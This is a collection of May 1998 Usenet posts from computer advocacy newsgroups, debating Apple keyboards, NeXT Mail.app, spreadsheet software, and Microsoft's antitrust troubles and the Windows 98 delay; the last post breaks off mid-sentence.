In article <6im1h4$87v$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> Something like this is much better accomplished using a
> mechanism like NeXT used to have.. volume keys on the keyboard..
> maybe make use of those function keys..
>
> Or a service that allows you to Mute the sound by a command
> key combination..
The Apple Adjustable Keyboard, easily the best I've ever used on any
device, has volume up, volume down, mute and even a record button situated
discreetly along the right edge of the main unit. Sweet. The separate
numeric pad has fifteen function buttons, another cursor-direction pad in
the normal format this time, a full numeric keypad and help, home, page
up, page down, end and forward-delete buttons. Very nice, indeed. Oh,
for you Wintel advocates, the power-on/shutdown key is up at the top of
the keyboard...no reachin under the desk. :-)
Trev
--
trev@sc.eduEATMOSPAM (unmunge)
From: boehring@biomed.ruhr-uni-bochum.de (Daniel Boehringer)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Date: 5 May 1998 06:43:33 GMT
Organization: Ruhr-Universitaet Bochum, Rechenzentrum
Message-ID: <6imcel$82k$1@sun579.rz.ruhr-uni-bochum.de>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net> <35455378.0@news.dca.net> <6i5p7v$d3f$1@dropit.pgh.net> <6i79b3$864$1@cnn.Princeton.EDU> <6ilum4$eoc$1@dropit.pgh.net>
me@venetia.pgh.pa.us wrote:
>Quantrix had one big weakness for me. I plot discontinuous data and
>Improv will merely break and continue. Quantrix drops to zero and
>plots a continuous curve.
workaround: copy the last valid x-y-pair into the (selected) gaps. only one
copy- paste operation needed per arbitrary large gap.
From: bhoang@acs3.acs.ucalgary.ca (Bich Hoang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 5 May 1998 08:55:59 GMT
Organization: The University of Calgary
Message-ID: <6imk6v$td8@ds2.acs.ucalgary.ca>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net>
: Now, MS claims it is not a monopoly, yet, delaying one of its products
: has the "potential" to hurt business for roughly 2.2 MILLION+ people?
Well, It could hurt Business but not so much with homeholds.
Compaq, Dell and IBM could be hurt by the delay of Windows 98.
Why?
Alot of HouseHold upgraded for windows 3.1 to windows 95 but the majority
of business didn't. Business are waiting to Upgrade to windows 98 because they
didn't trust windows 95 since it was a major release and major release of a new
product usually have lot of bugs. It's the same reason business didn't upgrade to
windows 3.0 but instead windows 3.1.
: Which is it, guys??? Again, I still find MS's whining a load of crap.
: Win 95 continues to sell. IS departments are STILL loaded with support
: staff to support the current Win clients (3.1/95/NT). What MS is trying
: to make the little sheep believe is that Windows 98 is SUCH a critical,
: innovative piece of software that the world is worse off without it.
: Yeah, I believe that one...
: RANT MODE OFF.
--
Winston Churchill's six words on how to succeed - "Never, never, never,
never, give up."
___..---'---`---..___
NCC-1701D .-=========================- Live Long And Prosper
_______________/ :.::..-~--..___..---~~~http://www.ucalgary.ca/~bhoang
(___________(_||_)____/ Bich(Bic) N. Hoang - The Bichster,
/____/___:..::.:::. / C.E.O,
\_________/ Dictator of the World (Philosopher King).
"Impossible is a word to be found only in the dictionary of fools." -
Napoleon Bonaparte (:>
Date: Tue, 05 May 1998 08:01:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0505980801340001@wil129.dol.net>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139>
In article <B173DA2F-4EC79@207.217.155.139>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> Scott Anguish wrote:
>
> > Oh, BTW.. we have SuperClock too... well, MenuClock... and as
> >far as ControlStrip goes... should you really have to access that that
> >often? Nope..
>
> Get used to the control strip. Because if Rhapsody ever goes mainstream, it
> will have a control strip, along with all the other HI bells and whistles
> Mac users expect. And they'll be just like the Mac HI that so many NeXT
> refugees seem to despise. Otherwise Mac users won't bother with it.
> ROTFLMAO.
Of course, it never occurred to you that Apple could avoid this problem by:
1. Offering multiple UIs (ever hear of "Themes"?).
or
2. Choosing the best of each OS.
But thinking before posting might reduce the number of anti-Apple flames
you throw around, so you'd never do that.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 5 May 1998 07:58:30 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6imv64$6qc$1@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net>
Kevin,
Thanks for the response. Please note that as you said:
[snip]
Kevin Stone wrote in message ...
>It's important to be perfectly clear on how this whole issue got started in
>he first place. It wasn't ONE incident, it wasn't ONE crime, it wasn't ONE
>allegation... it was dozens of instances where Microsoft broke the laws
>that the United States of America congress have tediously worked out over
>the years to stop large corporations from doing exactly what Microsoft is
>allegedly doing
This is exactly what happened in the Tobacco case. We have a group of people
we can subhumanize, and fifty Attourneys General who need to get reelected.
They've decided that they can work together and succeed in these
high-profile cases where they might well have failed before. Also, working
together, the cost to any one state might not be so high that the state
Legislature might complain about it. Besides, how can a state Legislature
complain about such a Motherhood-and-Apple-pie issue as "defeating the evil
Tobacco industry", or "defeating the evil Microsoft"?
>-Kevin Stone
> Stone Entertainment
> www.StoneEntertainment.com
> (no email please)
Thanks,
John Saunders
jws@jws.ultranet.com
Date: Tue, 05 May 1998 08:26:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0505980826350001@wil129.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca>
In article <6imk6v$td8@ds2.acs.ucalgary.ca>, bhoang@acs3.acs.ucalgary.ca
(Bich Hoang) wrote:
> : Now, MS claims it is not a monopoly, yet, delaying one of its products
> : has the "potential" to hurt business for roughly 2.2 MILLION+ people?
>
> Well, It could hurt Business but not so much with homeholds.
> Compaq, Dell and IBM could be hurt by the delay of Windows 98.
> Why?
>
> Alot of HouseHold upgraded for windows 3.1 to windows 95 but the majority
> of business didn't. Business are waiting to Upgrade to windows 98 because they
> didn't trust windows 95 since it was a major release and major release
of a new
> product usually have lot of bugs. It's the same reason business didn't
upgrade to
> windows 3.0 but instead windows 3.1.
You might want to read InfoWorld or PC Week. Most businesses are yawning
at Win98. They're either sticking with Win95 or waiting for NT 5.0.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: sgavette@nospam.home.com (Steven Gavette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 5 May 1998 13:05:38 GMT
Organization: @Home Network
Message-ID: <6in2r2$8cl$1@ha2.rdc1.az.home.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca> <joe.ragosta-0505980826350001@wil129.dol.net>
Mime-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
In article <joe.ragosta-0505980826350001@wil129.dol.net>, joe.ragosta@dol.net
says...
>
>In article <6imk6v$td8@ds2.acs.ucalgary.ca>, bhoang@acs3.acs.ucalgary.ca
>(Bich Hoang) wrote:
>
>> : Now, MS claims it is not a monopoly, yet, delaying one of its products
>> : has the "potential" to hurt business for roughly 2.2 MILLION+ people?
>>
>> Well, It could hurt Business but not so much with homeholds.
>> Compaq, Dell and IBM could be hurt by the delay of Windows 98.
>> Why?
>>
>> Alot of HouseHold upgraded for windows 3.1 to windows 95 but the majority
>> of business didn't. Business are waiting to Upgrade to windows 98 because
they
>> didn't trust windows 95 since it was a major release and major release
>of a new
>> product usually have lot of bugs. It's the same reason business didn't
>upgrade to
>> windows 3.0 but instead windows 3.1.
>
>You might want to read InfoWorld or PC Week. Most businesses are yawning
>at Win98. They're either sticking with Win95 or waiting for NT 5.0.
That's exactly what we (a state gov. agy.) are doing. If we find a specific
issue that could be resolved by moving to 98, we would move the person/group
affected to 98. There's simply no useability or productivity enhancements that
make a wholesale migration of hundreds of users worthwhile. And we already have
*paid* for the upgrade (maintenance).
Steve
From: Dave Griffiths <dgriffit@acorn.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 14:22:17 +0100 (BST)
Organization: Acorn Computers Ltd, Cambridge, United Kingdom
Message-ID: <ant051317868LJLo@om107.acorn.co.uk>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
In article <6illkc$em7$2@cronkite.cygnus.com>, John Rudd
<URL:mailto:jrudd@cygnus.com> wrote:
> First, I can't think of anything that supports your statements associating
> email and news postings as a combined activity. Yes, there are many
> similarities to the interface and the actions, but your statement implies (or
> at least I read it to imply) that the two are cognitavely similar, for
> historical purposes. I would say exactly the opposite.. mailing lists and
> newsgroups are seperate entities that live on apart from eachother, or
> gatewayed to eachother. But they are not "the same thing". There are plenty
> of things for which I would never create a newsgroup to substitute for a
> mailing list (broadcast messages from a single address to a group of
> subscribers, for example).
You seem to be confusing how the technology is implemented with the end-user
experience. From my point of view sitting here answering this, I couldn't
care less whether your article arrived via news or a mailing list. Its content
would be basically the same - bunch of text, From line, Subject line etc. Why
should I use different tools to read them? Why can't I have the same filters
work for both sources for instance? The fact that it's news or mail is merely
the delivery mechanism and as a user I don't want to know about that.
There is a clear trend towards browser unification, that's why the Web has
become so important. How many people reading this under NeXTStep still use
that stand-alone FTP client (what was it called, Gopher?) or the Archie client.
Dave
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 13:15:57 GMT
Organization: Occam's Razor
Message-ID: <6in3ed$825$1@news.cmc.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net>
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Cc: maury@istar.ca
In <6ijusb$kos$2@ns3.vrx.net> Maury Markowitz wrote:
>In <6ijcbt$d0u$1@news.cmc.net> Leon von Stauber claimed:
>> Re: the interface, to each his own, I guess. I find the interface to be
>very
>> clean and usable. Certainly it's not the bewildering morass of icons and
>> other
>> GUI elements that M$ Outlook is.
>
> Certainly, but that strikes me as somewhat akin to "comparitive
dictators".
> There are very few mail apps with a good interface.
OK, I can see your point there.
>> Not having filtering is, at least in part, a UNIX legacy, I'd say. In the
>> UNIX
>> mindset, filtering is properly done by a separate utility designed just
for
>> that (e.g. procmail). Granted, people nowadays expect their client to do
>it,
>> so....
>
> All true, but no excuse in this case.
Right, which is why Apple should probably go ahead and add it. Maybe
they should just make it a nice interface to procmail....
>> Quoting, as you allude to below, is part of the EnhanceMail bundle. As is
>> .sig addition, which is frustratingly not included in the basic Mail.app.
>
> Both however are still not terribly powerful compared to those available
in
>almost all other apps. For instance, there's still no "paste as quote" or
>similar.
I used to use a Terminal Service that would allow you to select
text in a mail message and just quote (and line wrap) the selection.
>> And personally, I'm glad my mailer doesn't do NNTP.
>
> If you have used a well designed one, it's likely you wouldn't agree. Are
Well, I doubt that. I just like them separate. Reading mail and
reading news are different activities for me. I like that distinction
reinforced by the apps I use. (Not that they need to be unnecessarily
different.)
>you coming to WWDC?
Unfortunately I won't be able to. My boss won't let me out of town
anymore this month, and my money's going to a new Mac. :)
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 09:27:39 -0400
Organization: http://www.judas-priest.com
Message-ID: <6in44d$jt3@bgtnsc01.worldnet.att.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
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John Saunders wrote:
>
> DC, would a company like CompUSA, which has spent x Million dollars getting
> their advertising and promotions ready for the Win98 launch would be hurt if
> that launch were delayed a year or two?
Very little. CompUSA is not dependent on a single piece of software to
be successful. Also take into account that MS helps with the bill when
it comes to advertising their warez.
>
> Would the vendors of USB peripherals be hurt if there is no mainstream
> operating system that supports USB?
It's a new technology. The risk comes with the technology. The risk also
exists when you rely on a single product or company for your revenue.
>
> Would companies which have been testing their products against Windows 98 be
> concerned if Windows 98 didn't ship?
Concerned? Why? If their products run on Win 95, there is no problem.
The product will continue to sell. Even if Win98 is delayed, they are
still prepared.
>
> Would consumers who want to upgrade their existing systems by adding large
> hard disks be impacted by the lack of FAT32 support in Win95-retail?
C'mon, how many consumers are really worried about that? I doubt the
average consumer even knows what FAT32 is. They buy a computer to play
games, surf the net, and use Word/Excel. You don't need 9GB disks for
that (then again, they way Office bloat keeps growing...;-). I would
think that most folks who needed that much disk space are knowledgable
enough to work around the issue (install NT?).
>
> Don't be fooled. If DOJ and the State Extortionists General have their way,
> Microsoft won't be the only one to be hurt by this.
>
They stand to lose the most because they need a new cash cow. Again, I
fault anyone banking on a single product. If one was to build a business
based on the sole existence of Win 98, then one is putting oneself in a
VERY risky situation. It's just not a smart business move. Again, M$ has
basically pointed out its stranglehold over the industry. If so many
companies are dependent on them (especially on a piece of garbage
upgrade), then its blatant that innovation, choice, and competition in
the industry has been stifled.
> Sincerely,
> John Saunders
> jws@jws.ultranet.com
-DC
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 5 May 1998 08:32:57 -0500
Organization: CE Software
Message-ID: <MPG.fb8d106bd4d200e9898d7@news.supernews.com>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <6imb64$bj7$1@news.digifix.com>
In article <6imb64$bj7$1@news.digifix.com>, sanguish@digifix.com says...
> Control Strip is a horrible little UI tack-on... as is
> WindowShade, MenuClock, Tabbed Windows and other items that aren't
> cohesive parts of the User Experience..
>
IYHO, of course. I'm very fond of Control Strip and Menu Clock, and
WindowShade when there is that box in the title bar to handle it. IMHO,
of course.
Donald
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 5 May 1998 14:00:38 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6in626$6cm$1@new-news.cc.brandeis.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
In article <6imcmk$oj1$3@ligarius.ultra.net> "John Saunders" <jws@jws.ultranet.com> writes:
>DC, would a company like CompUSA, which has spent x Million dollars getting
>their advertising and promotions ready for the Win98 launch would be hurt if
>that launch were delayed a year or two?
>
>Would the vendors of USB peripherals be hurt if there is no mainstream
>operating system that supports USB?
>
>Would companies which have been testing their products against Windows 98 be
>concerned if Windows 98 didn't ship?
>
>Would consumers who want to upgrade their existing systems by adding large
>hard disks be impacted by the lack of FAT32 support in Win95-retail?
>
>
>Don't be fooled. If DOJ and the State Extortionists General have their way,
>Microsoft won't be the only one to be hurt by this.
[snip]
Problem with this discussion is the use of the ambiguous term "hurt" - do
not fool yourself, there will have to be consequences to removing MS
from its market monopoly position. It's roughly equivalent to people
complaining about reverse-discrimination - that is the cost we will have
to pay in any attempt to compensate for inequities of the past, and the
process will always have a certain degree of subjectivity to it.
One must be willing to examine the short-term, middle-term, and long-term
costs and benefits in a holistic manner. If one doesn't, one is very
likely constructing a sitatuation that one wants to see, rather than at
minimum looking at an approximation of reality.
--
Nathan Raymond
http://www.everythingmac.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 09:21:55 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6imlnj$nkm$2@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
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Cc: jrudd@cygnus.com
In <6illkc$em7$2@cronkite.cygnus.com> John Rudd claimed:
> First, I can't think of anything that supports your statements associating
> email and news postings as a combined activity.
Surely you jest. Every newsreader I've ever seen has the ability to send
messages as mail or news or both. In this case in Radical the results of
these commands vary widely - clicking the "reply" button brings a whole new
app to the front and I can't see this message any more. Clicking the
"Followup" button instead provides the window I see now. The contents of the
window overlap on the order of 75% of the same items, and in terms of user
interaction there is basicaly a single difference, the Groups field. Yet
even with all this similarity the interfaces are completely different. This
is a bad thing.
> similarities to the interface and the actions, but your statement implies
(or
> at least I read it to imply) that the two are cognitavely similar
They are. The fact that applications to date have enforced this ridgid
separation in the past seems entirely historical.
What do you do with your mail? You open the "folders", read the messages,
reply to them. What do you do with your news? You open the "newsgroups",
read the messages, reply to them.
> historical purposes. I would say exactly the opposite.. mailing lists and
> newsgroups are seperate entities that live on apart from eachother
And here's the perfect example. Maillists in many cases exist specifically
because most newsreaders cannot be pointed to more than one source, or to do
so requires manual intervention. However this is changing, many companies
now use NNTP as their discussion forum instead of the maillists they used to
use.
In the cases where such mechanisms have been used for this purpose,
maillists tend to be very poor. For one thing they clutter your mailbox and
dump all the messages into a single place - unless the user sets up filters
and those have provent time and time again to be confusing. The end result
is that you have many messages in your mailbox and thus clutter.
Maybe I just have a different perspective on this, but I did work at an
e-mail vendor for six years. I also think that coming from the OS
perspective is a lot different than those coming from the Mac and Win worlds.
Again I'm offering free demos here! I'd LOVE to show off CD to everyone to
fertilize the groud.
> As for the program implimentations being similar, I don't think that argues
> against my point at all. If anything, it makes it easier for the author to
> share code between two seperate clients, and then optimize them seperately
as
> two different applications. The similarities in technical implimentation
> only serve to make it easier to give consistant interfaces to the user, and
> share code. They do not at all imply that they should be combined into one
> bloatware application.
I don't see how a loadable-bundle app is bloatware, whereas having the same
functionality duplicated among nnn apps isn't. Who cares if the single app
is 2meg vs. 1meg for mail, when you need another 2 meg of other apps to get
full coverage.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 09:30:16 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6imm78$nkm$3@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6in3ed$825$1@news.cmc.net>
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Cc: devnull@occam.com
In <6in3ed$825$1@news.cmc.net> Leon von Stauber claimed:
> Well, I doubt that. I just like them separate. Reading mail and
> reading news are different activities for me.
Well I know, but I believe this difference is entirely historical. Why is
it that OpenStep newsreaders use Unix terms and have panes for layout?
Because that's what they saw in their market (the Unix one) when looking
about. I think it's time that everyone needs to "think outside the box" and
cross-fretilize the markets. That's the whole idea anyway!
> >you coming to WWDC?
>
> Unfortunately I won't be able to. My boss won't let me out of town
> anymore this month, and my money's going to a new Mac. :)
Bummer. Maybe I should make this into a web page series of picts?
Maury
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Tue, 05 May 1998 14:36:10 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <354F23DA.A4DA3BFF@nstar.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> A guy can get whiplash trying to keep track of your point.
Another casualty of high-level discussion. This isn't the first time
it's happened to you, Salvatore.
> On Fri, 01 May 1998 14:44:29 -0500, Michael Peck <MJPECK@CONVEX.COM> wrote:
> >And my point was that the conclusions you can draw from your data are
> >subject to the amount of data you poll from the population,
>
> That didn't sound like your point:
>
> >From: Message-ID: <35478DF9.21CC@CONVEX.COM>
> >The problem is not with percentage increase, but with percentages
> >measured in percentages. Such differential measurements, especially when
> >based on a fluctuating population, are totally meaningless.
>
> I guess that when you get proven wrong, you just morph your point and
> go on ranting...
I guess when you dig yourself a hole, you just make disparaging remarks
about your opponent.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Tue, 05 May 1998 14:40:37 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <354F24E5.38A193EE@nstar.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <slrn6kt3rg.5jg.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> >Rate of change is another description of yet the same thing we've been
> >talking about. Do you think that by changing the phraseology you'll snow
>
> Others have answered this and have shown why rate of change is useful.
Err, yeah. "What he said", is that your response?
> Good job shifting the discusion from the validity of the measurement to
> the validity of the whole survey.
I don't think you really know what you're talking about. That's become
painfully clear.
> I think you've been shown to be wrong.
I think you're blowing a lot of smoke.
> >Yes.
>
> And you can't see why rate of change is a useful stat in determining
> the growth potential of a company?
You're unbelievable. I've said it *four* times, to your face. It's not
rate of change you're discussing, it's rate of rate of change. If you're
just going to ignore the fact that you have no inkling of what you're
discussing, that's fine.
> >Who is "they"?
>
> The folks reading this thread.
Oh, I forgot, your "audience".
> <<MJP ranting removed>>
Another classic Denaro move: claim your opponent is "ranting" or
"delusional".
MJP
From: "M. Kilgore" <mkilgore@nospam.prysm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 5 May 1998 09:51:46 -0500
Message-ID: <6in90p$j6o$1@news0-alterdial.uu.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <tbrown-0505981018210001@mv081.axom.com>
Ted Brown wrote in message ...
:In article <6imcmk$oj1$3@ligarius.ultra.net>, "John Saunders"
:<jws@jws.ultranet.com> wrote:
SNIP
:If it's really the case, then it's MS that is hurting USB sales -- they
:should have released another Win 95 revision level, that containted the
:required USB support. Though, maybe that's what's been holding up Win
:98.
The Win95 distribution that came with my wife's laptop clearly states on
the CD that it includes USB support. The latest copyright on the front of
the CD is 1997 so I assume that USB support has been available in win95
distributions for all of 98. Of course, since I don't have any USB devices,
the question isn't of much import to me.
SNIP.
:
:>Would consumers who want to upgrade their existing systems by adding
large
:>hard disks be impacted by the lack of FAT32 support in Win95-retail?
:
:Well, then why hasn't MS released the OEM version into Win 95-retail?
:Oh, I get it, because they want people to have some reason to buy Win
:98. So, it's not that DOJ and the States might block the release of Win
:98 that's the problem, it's that MS is keeping current capabilities of Win
:95 restricted so that they can boost sales of Win 98. It's not like I'm
:being unfair -- MS has released these capabilities with Win 95, but only
:to a major fraction of the market (OEM Sales). That's the next thing
:DOJ and the states will do, force MS to allow any OEM version (after some
:lag) be sold to the general public. MS could even sell some of it, as a
:Win 95 upgrade.
I was put out by MS's restricting FAT32 to OEM versions. I can understand,
however, that releasing FAT32 to the general public could have resulted in
some major service problems as those not qualified attempted to convert
their FAT16 volumes to FAT32 volumes. Still, I wished that they had made
the upgrade available somewhere, with a warning similar to what they
include with Power Toys (You can screw things up if you don't know what
you're doing, your ignorance is not our fault, etc.) so that those of us
that felt confortable doing the conversion could have.
SNIP
mark
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy,
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 10:18:20 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-0505981018210001@mv081.axom.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
In article <6imcmk$oj1$3@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
>Would the vendors of USB peripherals be hurt if there is no mainstream
>operating system that supports USB?
I kept getting told that "Win 95 supports USB" by some Windows advocates,
which is it? It'd be nice if knowing that a consumer had "Win 98" meant
that they had everything needed to run a USB perph. Still, who's fault
is this? How long has USB been a standard component? If I have to
upgrade to Win 98 just to get support for something that's been on my
motherboard for over a year, that's pretty lame.
If it's really the case, then it's MS that is hurting USB sales -- they
should have released another Win 95 revision level, that containted the
required USB support. Though, maybe that's what's been holding up Win
98.
>Would companies which have been testing their products against Windows 98 be
>concerned if Windows 98 didn't ship?
Ever? Yes. Eventually, no. After all, major releases of Windows vary
on their actual release dates quite often.
>Would consumers who want to upgrade their existing systems by adding large
>hard disks be impacted by the lack of FAT32 support in Win95-retail?
Well, then why hasn't MS released the OEM version into Win 95-retail?
Oh, I get it, because they want people to have some reason to buy Win
98. So, it's not that DOJ and the States might block the release of Win
98 that's the problem, it's that MS is keeping current capabilities of Win
95 restricted so that they can boost sales of Win 98. It's not like I'm
being unfair -- MS has released these capabilities with Win 95, but only
to a major fraction of the market (OEM Sales). That's the next thing
DOJ and the states will do, force MS to allow any OEM version (after some
lag) be sold to the general public. MS could even sell some of it, as a
Win 95 upgrade.
>Don't be fooled. If DOJ and the State Extortionists General have their way,
>Microsoft won't be the only one to be hurt by this.
>
>To broaden the point, I was extremely disturbed when the States got together
>and did the Tobacco Settlement. I was unable to think of a precedent for the
>States getting together and strong-arming national and international
>companies. Since it hadn't happened before, I had no reason to believe it
>would work out well this time. Further, I couldn't think that the
>Constitution provided appropriate checks and balances against actions such
>as this.
I believe that Tobaco companies were _willing_ participants in the
discussion. They got some nice concessions in return for only paying out
